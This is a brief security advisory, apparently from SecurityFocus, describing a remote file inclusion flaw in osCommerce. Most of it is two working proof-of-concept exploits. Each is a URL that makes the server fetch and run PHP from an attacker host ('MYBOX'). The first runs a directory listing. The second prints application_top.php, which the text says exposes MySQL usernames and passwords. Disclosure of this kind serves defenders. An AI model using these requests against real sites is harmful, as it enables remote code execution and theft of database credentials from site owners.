source: https://www.securityfocus.com/bid/5037/info

osCommerce is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. 

-------- Example 1 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/a.php

--- a.php ---
<? passthru("/bin/ls")?>
-------------
Output: dir listing of the current dierctory
---------------------------

-------- Example 2 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/b.php

--- b.php ---
<? passthru("/bin/cat application_top.php")?>
-------------
Output: outputs the application_top.php file wich includes MySQL username,
password, etc.